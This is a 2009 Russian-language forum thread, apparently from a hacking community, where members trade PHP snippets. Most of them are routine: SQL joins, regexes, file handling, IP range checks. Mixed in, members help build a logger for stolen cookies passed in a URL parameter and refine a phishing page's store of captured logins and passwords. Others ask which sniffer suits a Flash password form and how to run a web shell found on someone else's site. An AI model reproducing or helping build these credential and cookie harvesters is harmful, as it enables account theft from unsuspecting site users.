Код просто ппц. Я чуть руки не сломал себе. Вообще не могу понять, как ты его писал? Сначала пишем, потом проверяем? Там столько трабл, то можно сделать вывод, что ты толком скрипт и не тестил, тупо отстрочил, а потом "что у меня не работает". Мой тебе совет: перепиши код, не позорься. Столько глупых затей реализовал, совершенно непонятных. Например: нафига при выборе той или иной функции, ты присваивал ей число (1 или 0), потом ещё делал распознание, что там там значит единица, что нолик, когда можно было бы сразу вставлять в отсылку заголовоков полученный результат? В общем, я плакаль. С таким кодом не каждый хочет иметь дело, так что тебе ОЧЕНЬ повезло.
FireFenix
16.07.2009, 23:58
в обоих таблицах столбик ид.
надо вывести ид из первой таблицы а он выводит из второй. так не помогает $row['tableA.id']
как сделать?)
$result=mysql_query('SELECT * FROM tableA INNER JOIN tableB ON tableA.delivery=tableB.id');
while($row = mysql_fetch_array($result))
{
echo $row['id'];
}
Когда ты джоинишь, то при получении ассоциативного массива - столбцы с одинаковыми именами накладываются.
Решения:
1) Использовать не ассоциативный массив mysq_fetch_row и по числовой позиции столбца получать его содержимое
2) Указывать в запросе выводимые поля
$result=mysql_query('SELECT TableA.*, TableB.id as "TableB.id" FROM TableA INNER JOIN TableB ON TableA.delivery=TableB.id');
while($row = mysql_fetch_array($result))
{
echo 'id таблицы А = ' . $row['id'] . '<br>';
echo 'id таблицы B = ' . $row['TableB.id'] . '<br>';
}
FireFenix
17.07.2009, 00:23
<?php
$link = array('http://vkontakte.ru/', 'http://forum.antichat.ru/', 'http://sape.ru/', 'http://linkfeed.ru/');
$time = 30; //секунды
if (isset($_GET['write']))
{
setcookie ('hit', rand(0,2), time() + $time);
header('Location: http://localhost/111.php');
}
if (strlen($_COOKIE['hit']) > 0)
{
$page['name'] = 'hit';
$page['link'] = $link[$_COOKIE['hit']];
} else {
$page['name'] = 'Не установлено';
$page['link'] = 'Не установлено';
}
echo('Cookie name = ' . $page['name'] . '<br>' . 'Cookie value = ' . $page['link'] . '<br><a href="?write">Записать cookie</a>');
?>
Вот всё работает, проверял на 60 и 30 секунд
Жмёшь Записать cookie и потом F5 пока не пройдёт время
P.S. смысл этого кода для меня далёк
if(isset($_COOKIE['hit']))
{
setcookie ("hit", $_COOKIE["hit"]+1);
$show_link = $link[rand(1,3)];
}
else
{
setcookie ("hit", "1", time() + 2);
$show_link = $link[0];
}
нафига при наличии кукисов - их переписывать?
P.S.S. Время истечения браузер проверяет по клиентскому времени => смотри чтобы на сервере вермя нормально было выставлено или завадавай строго определённое время
FireFenix
17.07.2009, 01:02
То что ты написал я вообще непонял, зачем ета кнопка "Записать cookie" мне она ненужна, должно быть все автоматизировано
Ну блин, я ж сделал для тестов, можно что угодно навесить...
Я лиж показал - что всё работает
<?php
$link = array('http://vkontakte.ru/', 'http://forum.antichat.ru/', 'http://sape.ru/', 'http://linkfeed.ru/');
$time = mktime(0, 0, 0, date("m") ,date("d") + 1, date("Y"));
if (strlen($_COOKIE['hit']) > 0)
{
setcookie ('hit', rand(1,3), $time);
} else {
$_COOKIE['hit'] = 0;
setcookie ('hit', 0, $time);
}
$page['link'] = $link[$_COOKIE['hit']];
echo('<table align="center" border="1" width="150" ><tr><td align="center"><img src="img.php" border="1"><br>' . $page['link'] . '</td></tr></table>');
?>
Со всеми пожеланиями думаю так
Кто может подсказать скрипт для записи IP-адресов всех посетителей сайта в txt файл
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$open = fopen('ip.txt','a');
fwrite($open,$ip."\n");
fclose($open);
?>
2FireFenix спасибо)
еще вопрос) кто нить сталивался при получении запроса с дхл?)
function send_curl($url){
$ch = curl_init ($url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);// allow redirects
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
curl_setopt($ch, CURLOPT_TIMEOUT, '15');
$res=curl_exec ($ch);
curl_close ($ch);
return $res;}
echo send_curl('http://www.dhl.ru/publish/ru/ru/eshipping/track.high.html?pageToInclude=RESULTS&AWB=123456789&type=fasttrack');
выводит пустую страницу(
2FireFenix спасибо)
еще вопрос) кто нить сталивался при получении запроса с дхл?)
выводит пустую страницу(
Попробуй реферер подставить dhl.ru, может быть фильтрует по рефу.
erihtoney
17.07.2009, 20:42
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$open = fopen('ip.txt','a');
fwrite($open,$ip."\n");
fclose($open);
?>
вернее будет так
<?php
$file="ip.txt"; // файл
fclose(fopen($file,"a+b")); // если файл есть ничего не произойдет, если же нет создатся
$f=fopen($file,"r+t"); // открытие
flock($f,LOCK_EX); // блокировка
$ip = $_SERVER['REMOTE_ADDR'];
fwrite($f,$ip."\n");
fclose($f); // закрытие
?>
Иначе, при одновременном обращении несколькими пользователями, не буду говорить, что произойдет ;)
вернее будет так
<?php
$file="ip.txt"; // файл
fclose(fopen($file,"a+b")); // если файл есть ничего не произойдет, если же нет создатся
$f=fopen($file,"r+t"); // открытие
flock($f,LOCK_EX); // блокировка
$ip = $_SERVER['REMOTE_ADDR'];
fwrite($f,$ip."\n");
fclose($f); // закрытие
?>
Иначе, при одновременном обращении несколькими пользователями, не буду говорить, что произойдет ;)
Я думаю ты заметил что я выписал самый простой вариант =) без блокировки файла на время использования.Лчномне,для мелких нужд,хватало и такого =)
php скрипт заливающий любой файл на папку какую укажу
может у кого есть:)
Откуда он должен брать этот файл? Из инета или с соседней папки?
mailbrush
18.07.2009, 14:22
<?php
$file='http://site.ru/file.ext'; #твой файл
$folder='folder'; #папка для сохранения
$savefile='file.2ext'; #файл для сохранения
fwrite(fopen($folder.'/'.$savefile,'a+'),file_get_contents($file); #запись в файл
?>
ANTIHАCK
19.07.2009, 13:32
Подскажите скрипт вывод текста из txt ) Все строчки.. Спс
Подскажите скрипт вывод текста из txt ) Все строчки.. Спс
<?
$f = file_get_contents('1.txt');
echo $f;
?>
<?php
$file='file.txt'; #твой файл
$file = file($file);
$count = count($file);
for($i=0; $i <= $count; $i++){echo $file[$i].'<br>';}
?>
Сори, если в строки надо выводить то можно так:
<?php
$f = file_get_contents('1.txt');
$f = str_replace("\n", "<br>", $f);
echo $f;
?>
ANTIHАCK
19.07.2009, 14:04
Спасибо всем) + вам.
mailbrush
19.07.2009, 14:06
Fepsis, nl2br, не?
geforse, омг... а цикл зачем?<?php
echo nl2br(file_get_contents('1.txt'));
?>
Fepsis - 0.000583 секунд
geforse - 0.002158 секунд
mailbrush - 0.001825 секунд
лан еще 1 способ, правда имхо самый не верный
<?php
echo "<pre>";include("1.txt");echo "</pre>";
?>
0.000624 секунд
хД
ANTIHАCK
19.07.2009, 15:52
А можете еще подсказать)) скрипт который выводит последнии 15 строк и txt?))
А можете еще подсказать)) скрипт который выводит последнии 15 строк и txt?))
считай в массив и печатай последный 15 строк, наверно так :)
кто знает как в строчке посчитать количество цифр ? учитывать даже если цифра внутри слово на пример абс2абс
Pashkela
19.07.2009, 16:12
<?php
$a = "кто знает как в строчке посчитать количество цифр ? учитывать даже если цифра внутри слово на пример абс2абс";
preg_match_all('|[0-9]|',$a,$res);
echo "Всего " . count($res) . " цифр в тексте";
?>
спасибо Pashkela не первый раз выручил :)
только он мне всегда 1 выдает :(
ANTIHАCK
19.07.2009, 16:28
REBUUS не мне бы лучше скриптик) Я что ты написал на словах мало понял)
$ff=file("file.txt");
for ($i = 1; $i <= 15; $i++) {
echo $ff[count($ff)-$i];
}
что то типа этого наверно, я сам не очень разбираюсь
только он мне всегда 1 выдает :(
Вместо count($res) поставь count($res[0])...
Вместо count($res) поставь count($res[0])...
спасибо, а как можно туда еще слова добавить на пример "один","два" и т.д
А можете еще подсказать)) скрипт который выводит последнии 15 строк и txt?))
<?php
$f = file('1.txt');
for ($i=1; $i<=15; $i++)
{
$str = array_pop($f);
echo $str.'<br>';
}
?>
Чтобы в том же порядке, вот так можно:
<?php
$f = file('1.txt');
for ($i=15; $i>=1; $i--)
{
echo $f[count($f)-$i].'<br>';
}
?>
ANTIHАCK
19.07.2009, 17:03
Fepsis спс
спасибо, а как можно туда еще слова добавить на пример "один","два" и т.д
В смысле чтобы их тоже считал за цифры..?!
<?php
$a = "кто зна444ет как три в строчке один один посчитать два количество цифр ? учитывать
даже если цифра внутри слово на пример абс2абс";
preg_match_all('/(один)|(два)|(три)|[0-9]/',$a,$res);
echo "Всего " . count($res[0]) . " цифр в тексте";
?>
Насчитает 9... Так как посчитает "три" в слове "внутри"... :D
(один)|(два)|(три) лучше так (один|два|три|[0-9])
А куда русский мануал на php.net делся..?! :confused:
mailbrush
19.07.2009, 21:45
Вообще-то лучше вообще без скобок... Они используються для вывода чего-то конкретно. А в конкретном случае надо только подсчитать колличество записей в массиве, но выводить ничего не надо.
Как обойти ограничение на выполнения скрипта в 30 секунд? есть много однотипных операций? что предложите?
Как обойти ограничение на выполнения скрипта в 30 секунд? есть много однотипных операций? что предложите?
Вначале скрипта:
set_time_limit(0);
Вначале скрипта:
set_time_limit(0);
У меня save_mode on, не получается изменить, иначе бы не спрашивал. Может использования AJAX или еще что)
mailbrush
20.07.2009, 14:12
Дык, выключи в php.ini safe_mode.
DeepXhadow
20.07.2009, 15:16
есть файл scan.txt вида
Host: 91.x.x.x.x () Ports: 52/open/tcp//ssh///
Host: 91.x.x.x.x (ssh) Ports: 22/filtered/tcp//ssh///
Host: 9x.x.x.x.x () Ports: 53/filtered/tcp//ssh///
Host: 91.x.x.x.x () Ports: 34/filtered/tcp//ssh///
нужно получить из него txt шник вида
91.x.x.x.1
91.x.x.x.2
91.x.x.x.3
91.x.x.x.x
<?
$data = array();
$data_content = file_get_contents('scan.txt');
$data = explode("\n",$data_content);
// echo $data[2];
$i = 0;
$sum = count($data);
echo "<pre>";
while ($i <= $sum) {
$ddata=$data[$i];
preg_match_all("/Host: (.*) \(/iU",$ddata,$arr);
$i++;
}
print_r($arr);
echo "</pre>";
?>
Не работает(((
Не работает(((
Всё намного проще:
<?php
$data_content = file_get_contents('scan.txt');
preg_match_all("/(?<=Host: )(.*?)(?= )/", $data_content, $ar);
$f = fopen('out.txt', 'a+');
fwrite($f, implode($ar[0],"\r\n"));
fclose($f);
?>
Подскажите, есть пхп скрипт при переходе на который должно записывать в текстовый файл ip, ссылку с котрой пришли и куки. все записывает кроме куки...подскажите где ошибка
<?php $f = fopen("log.txt", "a"); fwrite($f, "IP: {$_SERVER['REMOTE_ADDR']} Ref: {$_SERVER ['HTTP_REFERER']} Cookie: {$HTTP_GET_VARS['c']}\n"); fclose($f); ?>
Сцылка должна быть в формате: log.php?c=cookies
Вопрос:
Вообщем задача такова, если в тексте присутствует слишком длинное слово, то автоматом вставляем после n символов пробел
Пример, "привет логиннннннннннннннннннннн нннннннннн" заменит на "привет логиннннннннннннн нннннннннннннннннн"
Возможно ли регуляркой? (без перебора каждого слова)
mailbrush
20.07.2009, 20:41
<?php
echo preg_replace('#\S{10}#','\0 ','привет логиннннннннннннннннннннн нннннннннн');
?>
AdmSmsTel
21.07.2009, 00:12
Откуда он должен брать этот файл? Из инета или с соседней папки?
из компа и заливаю на сайт :)
<?php
echo preg_replace('#\S{10}#','\0 ','привет логиннннннннннннннннннннн нннннннннн');
?>
Вот только "привет логиннннннннннннннннннннн нннннннннн", я взял для примера(я и написал об этом)
Текст может быть любой, но все слова из текста, длинна которых превышает N, должны быть разбиты пробелом
Возможно ли получить результат без перебора всех слов текста
Вот только "привет логиннннннннннннннннннннн нннннннннн", я взял для примера(я и написал об этом)
Текст может быть любой, но все слова из текста, длинна которых превышает N, должны быть разбиты пробелом
Возможно ли получить результат без перебора всех слов текста
Скрипт работает с любым текстом..!!!!!!!
Скрипт работает с любым текстом..!!!!!!!
Правда, не досмотрел вечером(там же preg_replace)
спасибо
ps
ну паттерн - \S{10}, ясно, что означает
А подскажите плз, что означает реплейс '\0 '
Почему именно 0(можно хотя бы ссылкой)
все разобрался, просто привык использовать $n, а не \n
Naydav, http://ua.php.net/manual/en/function.preg-replace.php - Там Parameters - replacement
Кстати, если ты это для нормального отображения длинных строк в браузере, юзай лучше не пробел, а тэг <wbr>
fastiktut
21.07.2009, 18:25
подскажите нужен скрипт, посылаю на него два параметра пост или гет запросом, он записывает их в базу или в файл. И проверяет каждый раз, если данные уже такие есть, то записывать их не надо.
FireFenix
21.07.2009, 18:52
<?php
if (isset($_POST['var_1']) && isset($_POST['var_2']))
{
$link = @mysql_connect('localhost' , 'user' , 'login') or die('Такие вот пироги!');
$db_selected = @mysql_select_db('database', $link) or die('Такие вот пироги!');
$query = 'SELECT COUNT(*) FROM table WHERE var_1="' . mysql_escape_string($_POST['var_1']) . '" AND var_2="' . mysql_escape_string($_POST['var_2']) . '"';
$result = mysql_query($query);
$fetch = mysql_fetch_row($result);
if ($fetch[0] == '0')
{
mysql_query('INSERT INTO table SET var_1="' . mysql_escape_string($_POST['var_1']) . '", var_2="' . mysql_escape_string($_POST['var_2']) . '"');
}
}
?>
где-то так
fastiktut
21.07.2009, 20:20
Спасибо за совет. А вот если я так реализовал, чтобы в базу не записывать нашел пример фейка там все пишется в файл:
<?PHP
$Login = $_POST['login']; // Логин
$Psw = $_POST['psw']; // Пароль
// надо организовать проверку того, что есть уже в базе
$log = fopen("password.php","a+"); //открываем файл базы
fwrite($log,"\n $Login:$Psw \n"); //записываем всё
fclose($log); //закрываем
?>
можно так проверить?
FireFenix
21.07.2009, 20:33
<?php
$file = 'password.php';
$login = $_POST['login'];
$password = $_POST['psw'];
$item = $login . ':' . $password;
$items = file($file);
$finded = False;
for ($i = 0; $i < count($items); $i++)
{
if ($items[$i] == $item)
{
$finded = True;
break;
}
}
if ($finded == False)
{
$database = fopen($file,'a+');
fwrite($database,"\r\n" . $item);
fclose($database);
} else {
echo('В базе есть!');
}
?>
где-то так
fastiktut
21.07.2009, 20:41
Спасибо конечно, но че-то не хочет работать как надо)
fastiktut
21.07.2009, 20:50
все заработало, это я в delphi чуток не так посылал запрос. Спасибо еще раз. И еще можно вопрос по поводу Flash. Если есть форма по отправке пароля реализованная на флэш каким сниффером лучше узнать что он отправляет? Посоветуйте.
fastiktut
21.07.2009, 21:40
В общем не так работает как надо) Все равно пропускает одинаковые значения. обидно(
fastiktut
21.07.2009, 21:59
А как сделать, чтобы каждый новый параметр, т.е. логин:пароль писались с новой строчки?
FireFenix
21.07.2009, 22:08
смотря чем ты просматриваешь, некоторым редактором нужно возврат каретки + перенос строки, неотокрым хватает только переноса строки => используй (замени) для переноса "\r\n" или "\n"
<?php
$delimetr = "\n"; //или "\r\n"
$file = 'password.php';
$login = $_POST['login'];
$password = $_POST['psw'];
$item = $login . ':' . $password;
$items = file($file);
$finded = False;
for ($i = 0; $i < count($items); $i++)
{
if (str_replace($delimetr, '', $items[$i]) == $item)
{
$finded = True;
break;
}
}
if ($finded == False)
{
$database = fopen($file,'a+');
fwrite($database, $item . $delimetr);
fclose($database);
} else {
echo('В базе есть!');
}
?>
erihtoney
21.07.2009, 22:21
2fastiktut
<?php
$file="file.dat";
$pass=$_GET['pass'];
$log=$_GET['log'];
$res=$log.";".$pass;
fclose(fopen($file,"a+b"));
$f=fopen($file,"a+t");
flock($f,LOCK_EX);
$wr=$res."\n";
while(!feof($f)){
$line=fgets($f);
$ar[]=$line;
}
function search($text, $var)
{
foreach ($var as $val)
{
if (is_array($val) && search($text, $val)) return true;
elseif ($val==$text) return true;
}
return false;
}
$se=search($wr,$ar);
if($se == TRUE){
echo "Error";
}
else {
$wr_res=fwrite($f,$wr);
if($wr_res !== FALSE){
echo "write";
}
else{
echo "recording error";
}
}
?>
смотри у меня есть поле в новостях где данные разделены через запятую, как сделать запросом в БД что бы выводило то где хотя бы одно число это $city
я пробовал через IN, Like - ничего не помагает
Ща так : WHERE gorod LIKE '%{$city}%' но не пашет на всю[/quote]
Там может быть что $city так и остается $city не выводит содержимое переменной
FireFenix
22.07.2009, 18:23
смотри у меня есть поле в новостях где данные разделены через запятую, как сделать запросом в БД что бы выводило то где хотя бы одно число это $city
я пробовал через IN, Like - ничего не помагает
Ща так : WHERE gorod LIKE '%{$city}%' но не пашет на всю
Там может быть что $city так и остается $city не выводит содержимое переменной
Хоть не регулярки..... основу синтаксиса php хоть выучи!!!
$query = 'SELECT * FROM table WHERE gorod LIKE "%' . $city . '%"';
$result = mysql_query($query);
да млин я знал что я правильно всё пишу и там было правильно!!!!!!
просто мой заказчик вместо VARCHAR, INT выбрал и я трах...сь
mailbrush
22.07.2009, 19:06
просто мой заказчик вместо VARCHAR, INT выбрал и я трах...сьА это тут при чем? Это вообще типы данных.
Привет всем! у меня проблема, я немагу расшифровать файл index.php , видел только можно дать его за 6 долларов расшифровать, может есть другой способ...
помогите кто сможет
BlackSilver
23.07.2009, 15:59
Всмысле расшифровать?
ну всмысле когда открываешь файл блокнотом, там всякие каракули, т.е шифровка... вот и надо расшифровать
вот это в начале файла
<?php $codelock_decrypter["filename"] = __FILE__; eval(base64_decode("b2Jfc3RhcnQoKTsgJGNvZGVsb2NrX2RlY3J5cHRlclsiZXJyb3 JfbGV2ZWwiXSA9IGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVf Tk9USUNFKTsgJGNvZGVsb2NrX2RlY3J5cHRlclsibGljZW5zZS JdID0gIkJTU0YtWTZIMS1BSDFVOVZQVDNGNkEiOyAkY29kZWxv Y2tfZGVjcnlwdGVyWyJ0Il0gPSBiYXNlNjRfZGVjb2RlKCJLel Z6Ymd3NldpbENYaDR0U1R4S0lpTjhVQ2xTSkM0OE1DMEVjQll6 VWtFZ08wSjFXamswTVY4cFZTcGlLQ1VuWDNrU0YwVmZJQ3RhTU VzaklqaHNmVUFnTUhOM0dVRXdWUzFmVGlRWENpTllKSEJ3YkNW UUtDNDJESDFiT0VSb0ZYSTFKVUV4VUNRUGIwVW5SR0ZtRENjcl hUOWZKRlJ5Z
и так далее в таком ритме...(((
mailbrush
23.07.2009, 16:05
Замени слово eval на echo и открой.
не помогло всё осталось прежним((
но всё равно спасибо
Залей куда-нибудь этот файл и выложи линк сюда
http://rapidshare.com/files/259082125/index.php.html
надеюсь рапид пойдёт
Как задать ряд чисел от нуля до 63 регулярным выражением?
[0-63] не подходит... почему то
Diavona,
<?php
if (!class_exists(codelock)) {class codelock {var $_trackerurl_;var $_licence_;var $_cfile_;var $_tmpdir_;var $_tmpfile_;var $_cachefile_;var $_uri_;var $_filedata_;function codelock ($_encfile_, $_licence_, $_cryptkey_ = "") {$this->_cfile_ = $_encfile_;$this->_trackerurl_ = "http://scriptspal.com/encrypto/tracker.php";$this->_licence_ = $_licence_;$this->_filedata_ = $_cryptkey_;if (!function_exists("sys_get_temp_dir")) {if (!empty($_ENV["TMP"])) {$this->_tmpdir_ = realpath($_ENV["TMP"]);} elseif (!empty($_ENV["TMPDIR"])) {$this->_tmpdir_ = realpath($_ENV["TMPDIR"]);} elseif (!empty($_ENV["TEMP"])) {$this->_tmpdir_ = realpath($_ENV["TEMP"]);} else {$_tempfile_ = @tempnam("","");if ($_tempfile_ != "") {$this->_tmpdir_ = realpath(dirname($_tempfile_));@unlink($_tempfile_ );} else {$this->_tmpdir_ = FALSE;}}} else {$this->_tmpdir_ = sys_get_temp_dir();}$this->_tmpfile_ = $this->_tmpdir_."/".$this->_licence_.".cdk";if ($_SERVER["REQUEST_URI"] != "") {$uri = $_SERVER["REQUEST_URI"];} elseif ($_SERVER["SCRIPT_NAME"] != "") {$uri = $_SERVER["SCRIPT_NAME"];} elseif ($HTTP_SERVER_VARS["REQUEST_URI"] != "") {$uri = $HTTP_SERVER_VARS["REQUEST_URI"];}$this->_uri_ = $_SERVER["SERVER_NAME"].$uri;if (is_dir($this->_tmpdir_)) {@touch ($this->_tmpfile_);$this->_filedata_ = @file_get_contents($this->_tmpfile_);}if (!file_exists($this->_tmpfile_)) {if (!is_dir("./cache")) {@mkdir("./cache");}$this->_cachefile_ = "./cache/".$this->_licence_.".cdk";@touch ($this->_cachefile_);$this->_filedata_ = @file_get_contents($this->_cachefile_);if (!file_exists($this->_cachefile_)) {echo "This server has very limited write permission authority. To work around this you need to create a folder called \"cache\" and chmod write permissions to 777 (within each subfolder), otherwise this server is incompatible with this script!";die;}}}function output () {if (file_exists($this->_cfile_)) {$_filedata_ = fopen($this->_cfile_, "r");if ($_filedata_) {$_buf_ = "";while (!feof($_filedata_)) {$_line_ = fgets($_filedata_, 16384);if (substr($_line_, 0, 2) != "//" && substr($_line_, 0, 2) != "<?") {$_buf_ .= $_line_;}}fclose($_filedata_);if ($_buf_ != "") {$_text_ = base64_decode($_buf_);$_lock_ = base64_decode($this->_tracker_());for ($_x_=0; $_x_ < strlen($_lock_); $_x_++) {$_y_ = substr($_lock_, $_x_, 1);$_z_ = substr($this->_licence_, $_x_ % strlen($this->_licence_), 1);$_cypher_ .= chr(ord($_y_) ^ ord($_z_));}list($_lock_, $expiry, $checkback, $checksum, $extras) = split("\|", $_cypher_, 5);$_cypher_ = "";if ($_lock_ != "" && $_text_ != "") {for ($_x_=0; $_x_ < strlen($_text_); $_x_++) {$_y_ = substr($_text_, $_x_, 1);$_z_ = substr($_lock_, $_x_ % strlen($_lock_), 1);$_cypher_ .= chr(ord($_y_) ^ ord($_z_));}}}}}return "?>".$_cypher_."";}function _tracker_ () {$_lock_ = "";if ($this->_filedata_ != "") {$_lock_ = $this->_filedata_;$_lock_ = str_replace(array("-","_","."),array("+","/","="),$_lock_);for ($_x_=0; $_x_ < strlen(base64_decode(urldecode($_lock_))); $_x_++) {$_y_ = substr(base64_decode(urldecode($_lock_)), $_x_, 1);$_z_ = substr($this->_licence_, $_x_ % strlen($this->_licence_), 1);$_cypher_ .= chr(ord($_y_) ^ ord($_z_));}list($codelock, $expiry, $checkback, $checksum, $extras) = split("\|", $_cypher_, 5);if ($checkback < mktime(date("G"), date("i"), date("s"), date("m"), date("d"), date("Y"))) {$_lock_ = "";}}if ($_lock_ == "") {$_buf_ = "";$_filedata_ = fopen($this->_cfile_, "r");if ($_filedata_) {$_buf_ = fgets($_filedata_, 16384);$_buf_ = eregi_replace("\n","",$_buf_);$_buf_ = eregi_replace("\r","",$_buf_);}fclose($_filedata_);$_checksum_ = md5($_buf_);$_tracker_url_ = $this->_trackerurl_;$data = array("uri" => $this->_uri_, "licence" => $this->_licence_, "checksum" => $_checksum_);if (eregi("https://", $_tracker_url_)) {$ssl = "ssl://";$port = 443;$_tracker_url_ = preg_replace("@^https://@i", "", $_tracker_url_);} else {$ssl = "";$port = 80;$_tracker_url_ = preg_replace("@^http://@i", "", $_tracker_url_);}$host = substr($_tracker_url_, 0, strpos($_tracker_url_, "/"));$uri = strstr($_tracker_url_, "/");$reqbody = "";foreach ($data as $key=>$val) {if (!empty($reqbody)) {$reqbody.= "&";}$reqbody.= $key."=".urlencode($val);}$contentlength = strlen($reqbody);$reqheader = "POST ".$uri." HTTP/1.1\r\n";$reqheader .= "Host: ".$host."\r\n";$reqheader .= "Content-Type: application/x-www-form-urlencoded\r\n";$reqheader .= "Content-Length: $contentlength\r\n\r\n";$reqheader .= $reqbody."\r\n";$socket = fsockopen($ssl.$host, $port, $errno, $errstr);if ($socket) {fputs($socket, $reqheader);while (!feof($socket)) {$result[] = trim(fgets($socket));if (substr($result[count($result)-1], 0, 9) == "codelock=") {$_lock_ = eregi_replace("codelock=", "", $result[count($result)-1]);$_lock_ = str_replace(array("+","/","="),array("-","_","."),$_lock_);break;} elseif (substr($result[count($result)-1], 0, 6) == "error=") {$error = eregi_replace("error=", "", $result[count($result)-1]);break;}}fclose($socket);} else {if ($extras != "") {list($allowrun, $checkback2) = split("&", $extras);if ($allowrun == "on") {if ($checkback2 < mktime(date("G"), date("i"), date("s"), date("m"), date("d"), date("Y"))) {echo "There is an error authenticating the status of this script.";} else {$checkback = mktime(date("G"), date("i")+10, date("s"), date("m"), date("d"), date("Y"));$codelock = $codelock."|".$expiry."|".$checkback."|".$checksum."|".$extras;for ($x=0; $x < strlen($codelock); $x++) {$y = substr($codelock, $x, 1);$z = substr($code, $x % strlen($code), 1);$c .= chr(ord($y) ^ ord($z));}$_lock_ = urlencode(base64_encode($c));$_lock_ = str_replace(array("+","/","="),array("-","_","."),$_lock_);}} else {echo "There is an error authenticating the status of this script.";}} else {echo "There is an error authenticating the status of this script.";}}$fh = @fopen($this->_tmpfile_, "w");if ($fh) {@fwrite($fh, $_lock_);@fclose($fh);} else {$fh2 = @fopen($this->_cachefile_, "w");@fwrite($fh2, $_lock_);@fclose($fh2);}}$_lock_ = urldecode($_lock_);if ($error != "") {echo base64_decode($error);die;}return $_lock_;}function _cryptkey_ () {return $this->_filedata_;}}}$codelock_decrypter["locker"] = new codelock($codelock_decrypter["filename"], $codelock_decrypter["license"], $codelock_decrypter["cryptkey"]);eval($codelock_decrypter["locker"]->output()); $codelock_decrypter["cryptkey"] = $codelock_decrypter["locker"]->_cryptkey_;
?>
Спасибо огромное Попугай=)
FireFenix
23.07.2009, 17:43
Как задать ряд чисел от нуля до 63 регулярным выражением?
[0-63] не подходит... почему то
<?php
$text = 'text012345678910111213141516171819202122232425262 72829303132333435363738394041424344454647484950515 25354555657585960616263text';
$regex = '(6[0-3]|[0-5][0-9]|[0-9])';
preg_match_all($regex, $text, $match);
print_r($match);
?>
Хмм.. вот к примеру я так делаю..
echo preg_match('/(6[0-3]|[0-5][0-9]|[0-9])/', '89') ? 'yes' : 'no';
выводит yes.
mailbrush
23.07.2009, 18:11
попугай, в твоем случае срабатывает второе условие...
/(6[0-3]|[0-5][0-9]|[0-9])/
Но причем здесь ряд чисел?
Хм.. а почему он срабатывает то? Этим условием задаются числа от 00 до 59 ведь.
Ряд чисел... ну то есть мне нужна регулярка, чтоб на входе ей давалось число, и затем провералось - входит ли оно в диапозон от 0 до 63 или нет.
mailbrush
23.07.2009, 18:25
Сорри, не оно срабатывает... срабатывает последнее, т.к. прег_матч ищет первое совпадение. В последнем - [0-9], т.е. цифра от 0 до 9. В строке 89 есть эта цифра, поэтому регулярка срабатывает.
PS: А тебе обязательно с помощью регулярки делать? Ведь можно проще:
$number=50; //number
$range=range(0,63); //gen range
echo in_array($number,$range) ? 'yes' : 'no'; //checking
PS: А тебе обязательно с помощью регулярки делать? Ведь можно проще:
$number=50; //number
$range=range(0,63); //gen range
echo in_array($number,$range) ? 'yes' : 'no'; //checking
Если делать без регулярки, так можно обойтись обычным ИФом, зачем ещё массив создавать..?! :)
FireFenix
23.07.2009, 19:46
если проверять одно число, то можно задать начало и конец строки или другие границы =)
<?php
$text = '85'; //11
$regex = '/^(6[0-3]|[0-5][0-9]|[0-9]){1}$/';
preg_match_all($regex, $text, $match);
print_r($match);
?>
если диапазон, то можно указать количество {n} в каждом условии
mailbrush
23.07.2009, 19:57
если проверять одно число, то можно задать начало и конец строки =)Ну-ну... Ты сам то проверял работспособность этого скрипта?
FireFenix
23.07.2009, 20:04
Ну-ну... Ты сам то проверял работспособность этого скрипта?
Конечно нет!
<?php
for ($i = -5; $i < 70; $i++)
{
$text = '11'; //11
$regex = '/^(6[0-3]|[0-5][0-9]|[0-9]){1}$/';
preg_match_all($regex, $i, $match);
echo ($i . ' = ' . $match[1][0] . '<br>');
}
?>
Результат
-5 =
-4 =
-3 =
-2 =
-1 =
0 = 0
1 = 1
2 = 2
3 = 3
4 = 4
5 = 5
6 = 6
7 = 7
8 = 8
9 = 9
10 = 10
11 = 11
12 = 12
13 = 13
14 = 14
//вырезано
59 = 59
60 = 60
61 = 61
62 = 62
63 = 63
64 =
65 =
66 =
67 =
68 =
69 =
mailbrush
23.07.2009, 20:09
Это вообще другой скрипт, еще и с циклом, омг...
Кстати, зачем юзать {1}?
FireFenix, да и границы тут не подходят.
Для чего мне это нужно? Для проверки айпишников на условия.
скажем я объявляю массив
$array= (
"23.170.22\d",
"145.98.21[0-9]"
)
потом в цикле проверяю соотвествия.
foreach($array as $ip){
if(preg_match('|'. $ip . '|', $_SERVER['REMOTE_ADD'])){
$ban = true;
}
Но допустим есть айпишник с диапозоном
123.45.56.[0-63] вот под него надо было мне шаблон написать.
Пока я просто сделал массив
123.45.56.[0-9]
123.45.56.1[0-9]
123.45.56.2[0-9]
123.45.56.3[0-9]
и тд....
других идей нет пока..
попугай for ($i=0;$i<255;$i++)
{
echo '123.45.56.'.$i.' = ';
if (preg_match( '#123.45.56.(6[0-3]|[0-5][0-9](?!\d)|[1-9](?!\d))#', '123.45.56.'.$i)) echo "OK\n";
else echo "FAIL\n";
}
Агаа .. спасибо)
А что означает (?!\d) ?
попугай "Не цифра", так же можно использовать любой текст, которого НЕ должно быть на этом месте
Ну "!" отрицание, я знаю.. а вопросительный знак перед восклицательным что означает?
FireFenix
24.07.2009, 00:16
<?php
$ips = Array('192.168.1.136', '10.10.10.10', '173.10.1.200', '10.0.0.21');
$min = 100;
$max = 140;
$octet = 3;
for ($i = 0; $i < count($ips); $i++)
{
$ip = explode('.', $ips[$i]);
$result = '';
if ($ip[$octet] > $max)
{
$result = $ips[$i] . ' - больше ' . $max;
} elseif ($ip[$octet] < $min)
{
$result = $ips[$i] . ' - меньше ' . $min;
} else {
$result = $ips[$i] . ' - нормальный';
}
echo ($result . '<br>');
}
?>
нашел на сайте шелл но из директа он не запускается а просто передает содержимое браузеру....
создал на фрихосте сайт залил туда index.php а внем
<img src="http://4room.surgut.info/images/graemlins/vet.php">
и ничего не получилось ):
как запустить шелл?
может ошибаюсь, но мне кажется там php-инклуд нужен...
mailbrush
24.07.2009, 12:51
geforse, бред.
react, наверное у тебя фрейм. Опиши подробнее.
может ошибаюсь, но мне кажется там php-инклуд нужен...
это первое что пришло мне в голову)
я нуб) а что подробнее?
http://drdrum.freehostia.com/vet.php
<img src="http://4room.surgut.info/images/graemlins/vet.php">
http://4room.surgut.info/images/graemlins/vet.php сам шелл
